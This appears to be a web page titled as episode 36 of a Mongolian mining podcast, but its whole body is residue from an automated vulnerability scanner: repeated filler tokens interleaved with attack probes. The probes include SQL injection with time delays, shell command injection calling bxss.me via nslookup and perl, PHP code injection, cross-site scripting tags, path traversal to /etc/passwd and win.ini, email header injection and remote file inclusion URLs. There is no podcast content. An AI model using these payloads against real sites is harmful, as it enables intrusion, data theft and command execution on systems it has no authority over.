УУРХАЙЧИН ПОДКАСТ №36 - Г.ЭРДЭНЭТУЯА

RDFYjolf

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

kAbCah8z

1

LgyxmpHT

0vhOIa8A

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

'"

1

<!--

1

LgyxmpHT

1

response.write(9644789*9642385)

1

'+response.write(9644789*9642385)+'

1

"+response.write(9644789*9642385)+"

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

LgyxmpHT

'"

LgyxmpHT

<!--

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

response.write(9409013*9810735)

LgyxmpHT

1

LgyxmpHT

'+response.write(9409013*9810735)+'

../../../../../../../../../../../../../../etc/passwd

1

LgyxmpHT

"+response.write(9409013*9810735)+"

../../../../../../../../../../../../../../windows/win.ini

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

../LgyxmpHT

1

LgyxmpHT&n972702=v929833

1

LgyxmpHT

1&n949086=v945683

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT%0abcc:009247.20-34785.20.3514b.19521.2@bxss.me

1

to@example.com>%0d%0abcc:009247.20-34786.20.3514b.19521.2@bxss.me

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1%0abcc:009247.20-34789.20.3514b.19521.2@bxss.me

LgyxmpHT

to@example.com>%0d%0abcc:009247.20-34790.20.3514b.19521.2@bxss.me

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

/xfs.bxss.me

1

LgyxmpHT

1

LgyxmpHT<esi:include src="http://bxss.me/rpb.png"/>

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1<esi:include src="http://bxss.me/rpb.png"/>

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

/xfs.bxss.me

LgyxmpHT

1

${9999883+9999770}

1

LgyxmpHT

${9999339+9999872}

LgyxmpHT

1

Y0ZLRWdjWng=

1

echo tkxgtk$()\ wxkznc\nz^xyu||a #' &echo tkxgtk$()\ wxkznc\nz^xyu||a #|" &echo tkxgtk$()\ wxkznc\nz^xyu||a #

1

&echo stjwie$()\ sduanu\nz^xyu||a #' &echo stjwie$()\ sduanu\nz^xyu||a #|" &echo stjwie$()\ sduanu\nz^xyu||a #

1

|echo rdjhug$()\ xgawic\nz^xyu||a #' |echo rdjhug$()\ xgawic\nz^xyu||a #|" |echo rdjhug$()\ xgawic\nz^xyu||a #

1

(nslookup hitahbdrfqjah8081f.bxss.me||perl -e "gethostbyname('hitahbdrfqjah8081f.bxss.me')")

1

$(nslookup hitkraqrnvagh5a714.bxss.me||perl -e "gethostbyname('hitkraqrnvagh5a714.bxss.me')")

1

&(nslookup hiteklarzelzuf05e8.bxss.me||perl -e "gethostbyname('hiteklarzelzuf05e8.bxss.me')")&'\"`0&(nslookup hiteklarzelzuf05e8.bxss.me||perl -e "gethostbyname('hiteklarzelzuf05e8.bxss.me')")&`'

1

|(nslookup hitleqabyhxpc8a932.bxss.me||perl -e "gethostbyname('hitleqabyhxpc8a932.bxss.me')")

1

LgyxmpHT

1

`(nslookup hitewugryfzuu05c9f.bxss.me||perl -e "gethostbyname('hitewugryfzuu05c9f.bxss.me')")`

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

)

1

LgyxmpHT

1

!(()&&!|*|*|

1

LgyxmpHT

1

^(#$!@#$)(()))******

1

LgyxmpHT

)

LgyxmpHT

!(()&&!|*|*|

LgyxmpHT

^(#$!@#$)(()))******

LgyxmpHT

1

LgyxmpHT

../../../../../../../../../../../../../../etc/passwd

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

echo lpjlsl$()\ ihragi\nz^xyu||a #' &echo lpjlsl$()\ ihragi\nz^xyu||a #|" &echo lpjlsl$()\ ihragi\nz^xyu||a #

LgyxmpHT

../../../../../../../../../../../../../../windows/win.ini

LgyxmpHT

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

LgyxmpHT

&echo widwla$()\ ppxabf\nz^xyu||a #' &echo widwla$()\ ppxabf\nz^xyu||a #|" &echo widwla$()\ ppxabf\nz^xyu||a #

LgyxmpHT

1

1some_inexistent_file_with_long_name%00.jpg

1

LgyxmpHT

|echo qfrnjj$()\ adirva\nz^xyu||a #' |echo qfrnjj$()\ adirva\nz^xyu||a #|" |echo qfrnjj$()\ adirva\nz^xyu||a #

LgyxmpHT

../1

Http://bxss.me/t/fit.txt

1

LgyxmpHT

(nslookup hitzspjepqgxxe706d.bxss.me||perl -e "gethostbyname('hitzspjepqgxxe706d.bxss.me')")

LgyxmpHT

1

http://bxss.me/t/fit.txt%3F.jpg

1

LgyxmpHT

$(nslookup hitvuqazqyyff555d4.bxss.me||perl -e "gethostbyname('hitvuqazqyyff555d4.bxss.me')")

LgyxmpHT

1

bxss.me

1

LgyxmpHT

&(nslookup hithcxyxobvoy6e4bd.bxss.me||perl -e "gethostbyname('hithcxyxobvoy6e4bd.bxss.me')")&'\"`0&(nslookup hithcxyxobvoy6e4bd.bxss.me||perl -e "gethostbyname('hithcxyxobvoy6e4bd.bxss.me')")&`'

LgyxmpHT

1

LgyxmpHT

|(nslookup hitrpzuilqtwy6c29d.bxss.me||perl -e "gethostbyname('hitrpzuilqtwy6c29d.bxss.me')")

LgyxmpHT

1

LgyxmpHT

`(nslookup hitsjqvuzmhfsea102.bxss.me||perl -e "gethostbyname('hitsjqvuzmhfsea102.bxss.me')")`

LgyxmpHT

;(nslookup hitpfhurxlkcf20466.bxss.me||perl -e "gethostbyname('hitpfhurxlkcf20466.bxss.me')")|(nslookup hitpfhurxlkcf20466.bxss.me||perl -e "gethostbyname('hitpfhurxlkcf20466.bxss.me')")&(nslookup hitpfhurxlkcf20466.bxss.me||perl -e "gethostbyname('hitpfhurxlkcf20466.bxss.me')")

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

HttP://bxss.me/t/xss.html?%00

1

bxss.me/t/xss.html?%00

1

LgyxmpHT

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

LgyxmpHT

1some_inexistent_file_with_long_name%00.jpg

LgyxmpHT

Http://bxss.me/t/fit.txt

LgyxmpHT

http://bxss.me/t/fit.txt%3F.jpg

LgyxmpHT

bxss.me

LgyxmpHT

1

LgyxmpHT

HttP://bxss.me/t/xss.html?%00

LgyxmpHT

bxss.me/t/xss.html?%00

LgyxmpHT

1

LgyxmpHT

1

"+"A".concat(70-3).concat(22*4).concat(112).concat(71).concat(117).concat(74)+(require"socket" Socket.gethostbyname("hitjc"+"cqgdxhhb5cabc.bxss.me.")[3].to_s)+"

1

LgyxmpHT

1

LgyxmpHT

1

'+'A'.concat(70-3).concat(22*4).concat(103).concat(83).concat(102).concat(69)+(require'socket' Socket.gethostbyname('hitrg'+'ftwdddptea519.bxss.me.')[3].to_s)+'

1

LgyxmpHT

1

LgyxmpHT

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

LgyxmpHT

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

LgyxmpHT

1

LgyxmpHT

"+"A".concat(70-3).concat(22*4).concat(114).concat(78).concat(107).concat(75)+(require"socket" Socket.gethostbyname("hitou"+"aaachezmd6c02.bxss.me.")[3].to_s)+"

LgyxmpHT

'+'A'.concat(70-3).concat(22*4).concat(115).concat(76).concat(109).concat(80)+(require'socket' Socket.gethostbyname('hitwc'+'dwhpvyisbfb2a.bxss.me.')[3].to_s)+'

LgyxmpHT

1

LgyxmpHT

1

'.gethostbyname(lc('hitvg'.'msywsbjb5d2fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(71).chr(113).chr(75).'

1

".gethostbyname(lc("hitzt"."iwgnmerx534de.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(87).chr(105).chr(76)."

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

'.gethostbyname(lc('hityg'.'aahpwfoy06dd9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(79).chr(110).chr(67).'

LgyxmpHT

".gethostbyname(lc("hitmb"."yzvvwsaqbcd68.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(87).chr(102).chr(88)."

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT'"()&%<acx><ScRiPt >Da5X(9128)</ScRiPt>

1

'"()&%<acx><ScRiPt >Da5X(9119)</ScRiPt>

1

LgyxmpHT9361321

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

';print(md5(31337));$a='

1

";print(md5(31337));$a="

1

${@print(md5(31337))}

1

${@print(md5(31337))}\

1

'.print(md5(31337)).'

1

LgyxmpHT

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

LgyxmpHT

';print(md5(31337));$a='

LgyxmpHT

";print(md5(31337));$a="

LgyxmpHT

${@print(md5(31337))}

LgyxmpHT

${@print(md5(31337))}\

LgyxmpHT

'.print(md5(31337)).'

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1'"()&%<acx><ScRiPt >Da5X(9321)</ScRiPt>

LgyxmpHT

'"()&%<acx><ScRiPt >Da5X(9685)</ScRiPt>

LgyxmpHT

19965289

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

eKagAk5r

1

-1 OR 2+819-819-1=0+0+0+1 --

1

-1 OR 2+33-33-1=0+0+0+1

1

-1' OR 2+181-181-1=0+0+0+1 --

1

-1' OR 2+595-595-1=0+0+0+1 or 'opsMpHBm'='

1

-1" OR 2+332-332-1=0+0+0+1 --

1

if(now()=sysdate(),sleep(15),0)

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1 waitfor delay '0:0:15' --

1

H19I0jrD'; waitfor delay '0:0:15' --

1

CUGbwiik' OR 770=(SELECT 770 FROM PG_SLEEP(15))--

1

1WwVHLwp') OR 990=(SELECT 990 FROM PG_SLEEP(15))--

1

F0wA3XDk')) OR 596=(SELECT 596 FROM PG_SLEEP(15))--

1

LgyxmpHT'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

@@464vZ

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

3buz7w0t

LgyxmpHT

-1 OR 2+496-496-1=0+0+0+1 --

LgyxmpHT

-1 OR 2+76-76-1=0+0+0+1

LgyxmpHT

-1' OR 2+878-878-1=0+0+0+1 --

LgyxmpHT

-1' OR 2+306-306-1=0+0+0+1 or 'RaF98zIS'='

LgyxmpHT

-1" OR 2+938-938-1=0+0+0+1 --

LgyxmpHT

if(now()=sysdate(),sleep(15),0)

LgyxmpHT

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

LgyxmpHT

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

LgyxmpHT

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

LgyxmpHT

-1; waitfor delay '0:0:15' --

LgyxmpHT

-1); waitfor delay '0:0:15' --

LgyxmpHT

1 waitfor delay '0:0:15' --

LgyxmpHT

8nm7wKfb'; waitfor delay '0:0:15' --

LgyxmpHT

-5 OR 368=(SELECT 368 FROM PG_SLEEP(15))--

LgyxmpHT

-5) OR 718=(SELECT 718 FROM PG_SLEEP(15))--

LgyxmpHT

-1)) OR 732=(SELECT 732 FROM PG_SLEEP(15))--

LgyxmpHT

M9tGxnBO' OR 108=(SELECT 108 FROM PG_SLEEP(15))--

LgyxmpHT

WSakrZi8') OR 932=(SELECT 932 FROM PG_SLEEP(15))--

LgyxmpHT

tYPf9ego')) OR 665=(SELECT 665 FROM PG_SLEEP(15))--

LgyxmpHT

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

LgyxmpHT

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

LgyxmpHT

1'"

LgyxmpHT

1����%2527%2522

LgyxmpHT

@@MRk3A

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1